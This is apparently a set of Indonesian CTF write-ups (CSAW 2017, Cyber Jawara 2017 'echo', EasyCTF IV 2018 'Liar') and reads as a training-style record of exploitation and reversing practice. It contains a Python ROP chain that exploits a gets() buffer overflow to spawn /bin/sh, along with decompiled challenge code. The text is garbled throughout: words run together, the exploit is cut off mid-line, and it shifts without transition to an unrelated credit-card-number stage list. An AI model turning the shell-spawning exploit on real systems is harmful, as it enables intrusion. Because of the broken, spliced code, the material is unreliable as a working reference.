CSAW CTF 2017 Prelims Write Up
Didapatkan Locationmerupakan alamat stack dimana inputan penggunana akan disimpan dan dibutuhkan 40 bytes untuk meng overwriteregister RIP.
Berikut exploit code yang digunakan
Exploit code dijalankan.
Flag : flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}Stage 1 : meminta input nomor kartu kredit {Visa|Discover|American Express|MasterCard}
Stage 2 : meminta input nomor kartu kredit dengan 4 digit prefix
Stage 3 : meminta input nomor kartu kredit dengan 1 digit suffix
Stage 4 : meminta input nomor kartu kredit dengan 4 digit suffix
Cyber Jawara 2017 Final - echo (pwn 200)
Diberikan sebuah file elf binary 64 bit dengan nama echo
Dengan proteksi sebagai berikut
Berikut adalah hasil decompile menggunakan IDA pro
Dari hasil decompile IDA pro dipastikan binary tersebut vulnerable terhadap Buffer Overflow karena menggunakan fungsi “gets()” yang tidak memfilter panjang inputan.
Dengan asumsi bahwa ASLR pada mesin dalam keadaan ON dan binary tersebut di proteksi dengan NX bit yang tidak memungkinkan untuk eksekusi shellcode, sehingga teknik yang digunakan adalah ROP ( Return Oriented Programming).
Cyber Jawara 2017 Final - echo (pwn 200)
fromstruct importpack
Padding goes herep ='A’*10008p +=pack(’<Q’, 0x0000000000401817) # pop rsi ; retp +=pack(’<Q’, 0x00000000006cb080) # @ .datap +=pack(’<Q’, 0x0000000000479ce6) # pop rax ; pop rdx ; pop rbx ; retp +=’/bin//sh’p +=pack(’<Q’, 0x4141414141414141) # paddingp +=pack(’<Q’, 0x4141414141414141) # paddingp +=pack(’<Q’, 0x00000000004755c1) # mov qword ptr [rsi], rax ; retp +=pack(’<Q’, 0x0000000000401817) # pop rsi ; retp +=pack(’<Q’, 0x00000000006cb088) # @ .data + 8p +=pack(’<Q’, 0x000000000042695f) # xor rax, rax ; retp +=pack(’<Q’, 0x00000000004755c1) # mov qword ptr [rsi], rax ; retp +=pack(’<Q’, 0x00000000004005d5) # pop rdi ; retp +=pack(’<Q’, 0x00000000006cb080) # @ .
EasyCTF IV 2018 - Reversing
Liar Diberikan sebuah file binary 64-bit not stripped
Hasil decompile fungsi main()
int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@12 __int64 v4; // rdi@12 int n; // [sp+Ch] [bp-14h]@1 int i; // [sp+10h] [bp-10h]@1 int m; // [sp+14h] [bp-Ch]@1 __int64 v8; // [sp+18h] [bp-8h]@1 v8 = *MK_FP(FS, 40LL); __isoc99_scanf(&unk_A64, &n, envp); f[30] = 160LL; f[10] = 47LL; f[13] = 4LL; f[25] = 205LL; f[5] = 87LL; f[24] = 247LL; f[6] = 76LL; f[31] = 176LL; f[7] = 74LL; f[34] = 154LL; f[21] = 231LL; f[32] = 135LL; f[8] = 75LL; f[1] = 102LL; f[9] = 75LL; f[28] = 232LL; f[29] = 148LL; f[3] = 108LL; f[11] = 33LL; f[4] = 127LL; f[14] = 21LL; f[18] = 89LL; f[16] = 3LL; f[26] = 215LL; f[20] = 211LL; f[15] = 8LL; f[17] = 25LL; f[27] = 217LL; f[0] = 101LL; f[33] = 143LL; f[22] = 245LL; f[19] = 241LL; f[12] = 56LL; f[36] = 129LL; f[23] = 206LL; f[2] = 125LL; f[35] = 202LL; m = n ^ 0x58EB29; for ( i = 0; i <= 36; ++i ) g[i] = m * i ^ (unsigned __int64)f[i]; g[i] = 0; if ( g[0] == 101 && g[1] == 97 && g[2] == 115 && g[3] == 121 && g[4] == 99 && g[5] == 116 && g[6] == 102 ) printf("the flag is %s\n", g); result = 0; v4 = *MK_FP(FS, 40LL) ^ v8; return result; } Dimana pada potongan code berikut